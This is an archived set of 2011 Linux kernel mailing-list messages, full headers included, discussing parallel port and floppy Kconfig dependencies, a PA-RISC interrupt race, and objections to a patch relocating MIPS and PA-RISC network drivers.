Original-Received: from tazenda.hos.anvin.org
	([IPv6:2001:470:861f:0:e269:95ff:fe35:9f3c]) (authenticated bits=0)
	by mail.zytor.com (8.14.4/8.14.4) with ESMTP id p5FF8Arv008610
	(version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
	Wed, 15 Jun 2011 08:08:11 -0700
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US;
	rv:1.9.2.17) Gecko/20110428 Fedora/3.1.10-1.fc15 Thunderbird/3.1.10
In-Reply-To: <20110615074749.GB28989@n2100.arm.linux.org.uk>
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.14
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
	<mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:43691 gmane.linux.ports.mips.general:31505 gmane.linux.ports.m68k:2477 gmane.linux.ports.ia64:21732 gmane.linux.ports.sh.devel:11411 gmane.linux.ports.sparc:15156 gmane.linux.kernel.cross-arch:10040 gmane.linux.uclinux.microblaze:11618 gmane.linux.ports.arm.kernel:120632 gmane.linux.ports.parisc:3809 gmane.linux.kernel:1155246 gmane.linux.ports.alpha:1500
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/43691>

On 06/15/2011 12:47 AM, Russell King - ARM Linux wrote:
>>
>> OK, serial-8250 is clearly just plain wrong, since the 8250 series UARTs
>> are ubiquitous across just about every platform.
>>
>> Floppy is special (in the short bus sense), since it is closely tied to
>> ISA DMA.  Conditionalizing this on ISA DMA makes total sense.
> 
> No it doesn't.  It depends on the ISA DMA API, not that the machine has
> ISA DMA.
> 
> I have a platform which has no ISA DMA but uses the floppy driver.  Please
> don't break it.

OK, even more case in point, then.

	-hpa

-- 
H. Peter Anvin, Intel Open Source Technology Center
I work for Intel.  I don't speak on their behalf.

From - Thu Nov 08 21:07:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Wed, 15 Jun 2011 08:16:37 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <4DF8CCD5.3080005@zytor.com>
References: <20110614190850.GA13526@linux-mips.org>
	<987664A83D2D224EAE907B061CE93D5301E7281306@orsmsx505.amr.corp.intel.com>
	<4DF8359F.10809@zytor.com>
	<20110615073935.GA28989@n2100.arm.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1308151074 7435 80.91.229.12 (15 Jun 2011 15:17:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 15 Jun 2011 15:17:54 +0000 (UTC)
Cc: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-m68k@vger.kernel.org" <linux-m68k@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Chen Liqin <liqin.chen@sunplusct.com>, Paul Mackerras <paulus@samba.org>,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	Guan Xuetao <gxt@mprc.pku.edu.cn>, Lennox Wu <lennox.wu@gmail.com>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Helge Deller <deller@gmx.de>, "x86@kernel.org" <x86@kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Ingo Molnar <mingo@redhat.com>, Geert Uytterhoeven <geert@linux-m68k.org>,
	Matt Turner <mattst88@gmail.com>, "Yu, Fenghua" <fenghua.yu@intel.
To: Russell King - ARM Linux <linux@arm.linux.org.uk>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Wed Jun 15 17:17:42 2011
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from merlin.infradead.org ([205.233.59.134])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1QWrqg-0007cI-Ev
	for linux-arm-kernel@m.gmane.org; Wed, 15 Jun 2011 17:17:42 +0200
Original-Received: from canuck.infradead.org ([2001:4978:20e::1])
	by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWrqP-0003Hu-Qx; Wed, 15 Jun 2011 15:17:25 +0000
Original-Received: from localhost ([127.0.0.1] helo=canuck.infradead.org)
	by canuck.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1QWrqP-0002iU-Ca; Wed, 15 Jun 2011 15:17:25 +0000
Original-Received: from terminus.zytor.com ([2001:1868:205::10] helo=mail.zytor.com)
	by canuck.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWrqL-0002iA-4p for linux-arm-kernel@lists.infradead.org;
	Wed, 15 Jun 2011 15:17:21 +0000
Original-Received: from tazenda.hos.anvin.org
	([IPv6:2001:470:861f:0:e269:95ff:fe35:9f3c]) (authenticated bits=0)
	by mail.zytor.com (8.14.4/8.14.4) with ESMTP id p5FFGgbU010508
	(version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
	Wed, 15 Jun 2011 08:16:43 -0700
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US;
	rv:1.9.2.17) Gecko/20110428 Fedora/3.1.10-1.fc15 Thunderbird/3.1.10
In-Reply-To: <20110615073935.GA28989@n2100.arm.linux.org.uk>
X-CRM114-Version: 20090807-BlameThorstenAndJenny ( TRE 0.7.6 (BSD) )
	MR-646709E3 
X-CRM114-CacheID: sfid-20110615_111721_521841_0CC46081 
X-CRM114-Status: GOOD (  16.98  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.3.1 on canuck.infradead.org summary:
	Content analysis details:   (-0.0 points)
	pts rule name              description
	---- ----------------------
	--------------------------------------------------
	-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay
	domain
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: linux-arm-kernel-bounces@lists.infradead.org
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:120634 gmane.linux.ports.mips.general:31506 gmane.linux.ports.m68k:2478 gmane.linux.ports.ia64:21733 gmane.linux.ports.sh.devel:11412 gmane.linux.ports.sparc:15157 gmane.linux.kernel.cross-arch:10041 gmane.linux.uclinux.microblaze:11619 gmane.linux.ports.parisc:3810 gmane.linux.kernel:1155248 gmane.linux.ports.alpha:1501 gmane.linux.ports.ppc64.devel:75164
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/120634>

On 06/15/2011 12:39 AM, Russell King - ARM Linux wrote:
> On Tue, Jun 14, 2011 at 09:31:27PM -0700, H. Peter Anvin wrote:
>> On 06/14/2011 03:08 PM, Luck, Tony wrote:
>>> I took a look at the back of all my ia64 systems - none of them
>>> have a parallel port.  It seems unlikely that new systems will
>>> start adding parallel ports :-)
>>>
>>> So even if I had a printer (or other device) that used a parallel
>>> port, I have no way to test it.
>>
>> If it has PCI slots, it can have a parallel port.
> 
> Is that a clue about where a select statement should be?

Not really, because it's a sufficient condition, not a required one.

All a platform needs to expose a PC-style parallel port interface is a
minimum of 3 contiguous I/O locations, and although in the PC they are
I/O mapped, they don't need to be.

The basic (SPP) parallel port interface is really just a glorified set
of GPIOs and could at least in theory be implemented as-is on any
platform with contiguous GPIO ports.  The faster modes (EPP and ECP) do
contain logic, and ECP depends on the ISA DMA API (thanks to Russell for
pointing out that actual ISA DMA is not required, any slave DMA solution
will do.)


	-hpa

-- 
H. Peter Anvin, Intel Open Source Technology Center
I work for Intel.  I don't speak on their behalf.

From - Thu Nov 08 21:07:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Wed, 15 Jun 2011 16:21:44 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20110615152144.GE28989@n2100.arm.linux.org.uk>
References: <20110614190850.GA13526@linux-mips.org>
	<4DF7C3CA.9050902@zytor.com> <201106142333.16203.arnd@arndb.de>
	<4DF83577.6040903@zytor.com>
	<20110615074749.GB28989@n2100.arm.linux.org.uk>
	<4DF8CAD5.1090902@zytor.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1308151399 9729 80.91.229.12 (15 Jun 2011 15:23:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 15 Jun 2011 15:23:19 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Paul Mackerras <paulus@samba.org>, sparclinux@vger.kernel.org,
	Guan Xuetao <gxt@mprc.pku.edu.cn>,
	Lennox Wu <lennox.wu@gmail.com>, linux-arch@vger.kernel.org,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Helge Deller <deller@gmx.de>, x86@kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Ingo Molnar <mingo@redhat.com>, Geert Uytterhoeven <geert@linux-m68k.org>,
	Matt Turner <mattst88@gmail.com>,
	Fenghua Yu <fenghua.yu@intel.com>, Arnd Bergmann <arnd@arndb.de>,
	microblaze-uclinux@itee.uq.edu.au, Chris Metcalf <cmetcalf@tilera.com>,
	Mikael Starvik <starvik@axis.com>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Thomas Gleixne
To: "H. Peter Anvin" <hpa@zytor.com>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Wed Jun 15 17:23:06 2011
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from merlin.infradead.org ([205.233.59.134])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1QWrvt-0002SI-De
	for linux-arm-kernel@m.gmane.org; Wed, 15 Jun 2011 17:23:05 +0200
Original-Received: from canuck.infradead.org ([2001:4978:20e::1])
	by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWrvY-0003kP-6g; Wed, 15 Jun 2011 15:22:44 +0000
Original-Received: from localhost ([127.0.0.1] helo=canuck.infradead.org)
	by canuck.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1QWrvX-0002nn-Mv; Wed, 15 Jun 2011 15:22:43 +0000
Original-Received: from [2002:4e20:1eda::1] (helo=caramon.arm.linux.org.uk)
	by canuck.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWrvS-0002nV-2R for linux-arm-kernel@lists.infradead.org;
	Wed, 15 Jun 2011 15:22:39 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=arm.linux.org.uk; s=caramon; 
	h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
	bh=Hs9ffxwPNuzFlKAsDVltuhGb26YVWeq3rynswaUUHuw=; 
	b=o2C4AmDaw4GqMh9JeMW9JL7Q0AeHC1td9DdfByGSR9JWwIAiNBoa6tfwn0LHutRV/OUoy7atTYQj6m7phxAXcywgQT0Qt0Jep0M3+VzSgZr7DDmHd60EZoorXIxdTqWc9VbM+ItozajUwKnGxell7Ig1hYCNfqRgNW1LxslEfXY=;
Original-Received: from n2100.arm.linux.org.uk ([2002:4e20:1eda:1:214:fdff:fe10:4f86])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.72) (envelope-from <linux@arm.linux.org.uk>)
	id 1QWruc-0003nj-Qf; Wed, 15 Jun 2011 16:21:47 +0100
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.72)
	(envelope-from <linux@n2100.arm.linux.org.uk>)
	id 1QWrua-0004xR-Sd; Wed, 15 Jun 2011 16:21:44 +0100
Content-Disposition: inline
In-Reply-To: <4DF8CAD5.1090902@zytor.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-CRM114-Version: 20090807-BlameThorstenAndJenny ( TRE 0.7.6 (BSD) )
	MR-646709E3 
X-CRM114-CacheID: sfid-20110615_112238_742174_BEA7EC53 
X-CRM114-Status: GOOD (  16.29  )
X-Spam-Score: 1.2 (+)
X-Spam-Report: SpamAssassin version 3.3.1 on canuck.infradead.org summary:
	Content analysis details:   (1.2 points)
	pts rule name              description
	---- ----------------------
	--------------------------------------------------
	-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from
	author's domain
	0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
	not necessarily valid
	-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
	1.3 RDNS_NONE Delivered to internal network by a host with no rDNS
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: linux-arm-kernel-bounces@lists.infradead.org
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:120635 gmane.linux.ports.mips.general:31508 gmane.linux.ports.m68k:2479 gmane.linux.ports.ia64:21735 gmane.linux.ports.sh.devel:11414 gmane.linux.ports.sparc:15159 gmane.linux.kernel.cross-arch:10042 gmane.linux.uclinux.microblaze:11621 gmane.linux.ports.parisc:3811 gmane.linux.kernel:1155251 gmane.linux.ports.alpha:1502 gmane.linux.ports.ppc64.devel:75166
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/120635>

On Wed, Jun 15, 2011 at 08:08:05AM -0700, H. Peter Anvin wrote:
> On 06/15/2011 12:47 AM, Russell King - ARM Linux wrote:
> >>
> >> OK, serial-8250 is clearly just plain wrong, since the 8250 series UARTs
> >> are ubiquitous across just about every platform.
> >>
> >> Floppy is special (in the short bus sense), since it is closely tied to
> >> ISA DMA.  Conditionalizing this on ISA DMA makes total sense.
> > 
> > No it doesn't.  It depends on the ISA DMA API, not that the machine has
> > ISA DMA.
> > 
> > I have a platform which has no ISA DMA but uses the floppy driver.  Please
> > don't break it.
> 
> OK, even more case in point, then.

It's already been solved - ARCH_MAY_HAVE_PC_FDC is supposed to be
defined to y in the cases where architectures have support for it.

What we do on ARM for example is:

config ARCH_MAY_HAVE_PC_FDC
        bool

and then select that symbol for our platforms which can have the
floppy driver.

And in any case we already have definitions for the presence of the
ISA DMA API vs the common ISA DMA helpers in kernel/.  The presence
of the ISA DMA API is given by CONFIG_ISA_DMA_API, while the
ISA DMA helper CONFIG_GENERIC_ISA_DMA.

From - Thu Nov 08 21:07:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Stuck gnat1 processes
Date: Sun, 19 Jun 2011 17:30:47 -0400
Organization: nrc.ca
Lines: 17
Approved: news@gmane.org
Message-ID: <20110619213047.GA1817@hiauly1.hia.nrc.ca>
References: <20110610013034.GA5353@hiauly1.hia.nrc.ca> <20110610123719.GD29089@parisc-linux.org> <20110619205147.GA1430@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1308519058 9526 80.91.229.12 (19 Jun 2011 21:30:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 19 Jun 2011 21:30:58 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 19 23:30:54 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QYPa1-0003av-9r
	for glpp-linux-parisc@lo.gmane.org; Sun, 19 Jun 2011 23:30:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754297Ab1FSVaw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 19 Jun 2011 17:30:52 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2974 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752929Ab1FSVaw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 19 Jun 2011 17:30:52 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 863AF5372; Sun, 19 Jun 2011 17:30:48 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20110619205147.GA1430@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3812
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3812>

On Sun, 19 Jun 2011, John David Anglin wrote:

> I suspect a race in interrupt handling.  Note the SLOW timer message
> associated with gnat1 process on cpu0.  Also, cpu0 doesn't seem active.

Specifically, do the cpu_mask_irq and __cpu_unmask_irq operations
on cpu_eiem need to be atomic?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Baechle <ralf@linux-mips.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.ports.m68k
Subject: Re: [RFC 54/72] au1000_eth/mipsnet/tc35815: Move the MIPS drivers
Date: Sat, 25 Jun 2011 17:13:53 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <20110625161353.GA20976@linux-mips.org>
References: <1309010363-22750-1-git-send-email-jeffrey.t.kirsher@intel.com>
 <1309010363-22750-55-git-send-email-jeffrey.t.kirsher@intel.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1309018487 4413 80.91.229.12 (25 Jun 2011 16:14:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 25 Jun 2011 16:14:47 +0000 (UTC)
Cc: davem@davemloft.net, netdev@vger.kernel.org,
	Matt Porter <mporter@kernel.crashing.org>,
	Herbert Valerio Riedel <hvr@gnu.org>,
	MontaVista Software <source@mvista.com>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Sam Creasey <sammy@sammy.net>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	linux-m68k@vger.kernel.org
To: Jeff Kirsher <jeffrey.t.kirsher@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 25 18:14:40 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QaVVG-0008Tm-0m
	for glpp-linux-parisc@lo.gmane.org; Sat, 25 Jun 2011 18:14:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751767Ab1FYQOh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Jun 2011 12:14:37 -0400
Original-Received: from h5.dl5rb.org.uk ([81.2.74.5]:38963 "EHLO duck.linux-mips.net"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1750833Ab1FYQOg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Jun 2011 12:14:36 -0400
Original-Received: from duck.linux-mips.net (duck.linux-mips.net [127.0.0.1])
	by duck.linux-mips.net (8.14.4/8.14.3) with ESMTP id p5PGDxf8029175;
	Sat, 25 Jun 2011 17:13:59 +0100
Original-Received: (from ralf@localhost)
	by duck.linux-mips.net (8.14.4/8.14.4/Submit) id p5PGDrwM029165;
	Sat, 25 Jun 2011 17:13:53 +0100
Content-Disposition: inline
In-Reply-To: <1309010363-22750-55-git-send-email-jeffrey.t.kirsher@intel.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3813 gmane.linux.network:199783 gmane.linux.ports.m68k:2516
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3813>

On Sat, Jun 25, 2011 at 06:59:05AM -0700, Jeff Kirsher wrote:

> Move the MIPS drivers into drivers/net/ethernet/mips/ and
> make the necessary Kconfig and Makefile changes.

NAck.

sni_82596.c is a driver for the same chip but used in particular Siemens-
Nixdorf systems.  Lasi_82596 is an Intel NIC being used in PARISC systems.
Not a good reason th throw PA-RISC drivers into the same directory after
all PA-RISC has no relation to MIPS at all.  So maybe they should go into
drivers/net/ethernet/i82596 or drivers/net/ethernet/intel.  And wherever
they go, both drivers #include lib82596.c which your patch did not move
around.

It seems that lp486e should probably go into the same directory and I
suspect ni52 and sun3_82586 are close enough that they should also in
the faint hope that somebody will factor out the common code.

MIPSnet is a driver for the emulated network card of MIPSsim, a software
simulator by MIPS Technologies and the only net thingy in your patch that
truely is "MIPS".

The remaining happen to be used by particular systems that happen to be
based on a MIPS processor but there is no technial communality.  MIPS is
a processor architecture - not a system architecture and grouping things
by processor architecture hasn't worked so well imho for other things in
the past, see for example sound.

If we're already moving things around maybe au1000_net.[ch] can be renamed
to alchemy.[ch].

Your patch moves the Makefile and Kconfig bits of lantiq_etop but doesn't
move the actual lantiq_etop.c driver.

> +++ b/drivers/net/ethernet/mips/Kconfig
> @@ -0,0 +1,61 @@
> +#
> +# MIPS device configuration
> +#
> +
> +config NET_MIPS
> +	bool "MIPS/PS-RISC devices"

It's speeled PA-RISC.

  Ralf
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Kirsher <jeffrey.t.kirsher@intel.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [RFC 54/72] au1000_eth/mipsnet/tc35815: Move the MIPS drivers
Date: Sat, 25 Jun 2011 11:11:21 -0700
Organization: Intel Corporation
Lines: 49
Approved: news@gmane.org
Message-ID: <1309025482.2454.90.camel@jtkirshe-mobl>
References: <1309010363-22750-1-git-send-email-jeffrey.t.kirsher@intel.com>
	 <1309010363-22750-55-git-send-email-jeffrey.t.kirsher@intel.com>
	 <20110625161353.GA20976@linux-mips.org>
Reply-To: jeffrey.t.kirsher@intel.com
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature";
	boundary="=-BqP0rTRzPe22vc5yVcBs"
X-Trace: dough.gmane.org 1309025492 8323 80.91.229.12 (25 Jun 2011 18:11:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 25 Jun 2011 18:11:32 +0000 (UTC)
Cc: "davem@davemloft.net" <davem@davemloft.net>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	Matt Porter <mporter@kernel.crashing.org>,
	Herbert Valerio Riedel <hvr@gnu.org>,
	MontaVista Software <source@mvista.com>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	Sam Creasey <sammy@sammy.net>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	"linux-m68k@vger.kernel.org" <linux-m68k@vger.kernel.org>
To: Ralf Baechle <ralf@linux-mips.org>
Original-X-From: linux-m68k-owner@vger.kernel.org Sat Jun 25 20:11:26 2011
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1QaXKG-0000oq-Gk
	for glpm-linux-m68k@lo.gmane.org; Sat, 25 Jun 2011 20:11:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751839Ab1FYSLX (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Sat, 25 Jun 2011 14:11:23 -0400
Original-Received: from mga11.intel.com ([192.55.52.93]:17498 "EHLO mga11.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
